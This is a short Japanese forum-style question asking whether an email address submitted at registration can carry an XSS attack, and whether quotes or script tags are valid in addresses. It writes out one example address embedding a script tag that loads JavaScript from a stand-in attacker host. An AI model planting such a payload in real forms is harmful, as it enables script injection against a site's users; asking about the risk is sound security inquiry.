メールアドレスが XSS 攻撃に使用できるかどうか疑問に思います。
登録してメールアドレスを提供できる Web サイトがあるとします。特定の Web サイトを攻撃したい場合、次のような電子メール アドレスを作成する可能性があります。
"<script src=//my.evil.site/is/attacking/u.js></script>"@stmpname.com
次に、この電子メール アドレスを使用して Web サイトを攻撃します。
電子メール アドレスで引用またはスクリプト タグを使用できますか?